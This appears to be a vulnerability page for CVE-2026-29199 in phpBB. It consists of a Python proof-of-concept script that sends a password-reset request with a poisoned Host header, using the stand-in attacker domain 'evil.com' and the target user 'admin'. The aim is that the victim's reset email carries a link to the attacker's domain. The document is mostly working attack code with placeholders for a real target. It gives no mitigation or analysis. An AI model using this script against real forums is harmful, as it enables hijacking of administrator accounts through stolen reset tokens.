CVE-2026-29199 phpBB主机头注入漏洞

# PoC for CVE-2026-29199: phpBB Host Header Injection # This script demonstrates how to send a malicious Host header import requests def exploit_poc(target_url, malicious_domain, victim_user): # The endpoint for password reset reset_url = f"{target_url}/ucp.php?mode=sendpassword" # Headers with the poisoned Host header headers = { "Host": malicious_domain, "User-Agent": "Mozilla/5.0 (PoC-Analysis)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } # Payload data payload = { "username": victim_user, "email": "", # Email might be optional if username is used "submit": "Submit" } try: print(f"[*] Sending request to {reset_url} with Host: {malicious_domain}") response = requests.post(reset_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the victim's email for a reset link containing the malicious domain.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target phpBB URL evil_host = "evil.com" # Attacker controlled domain user = "admin" # Target username exploit_poc(target, evil_host, user)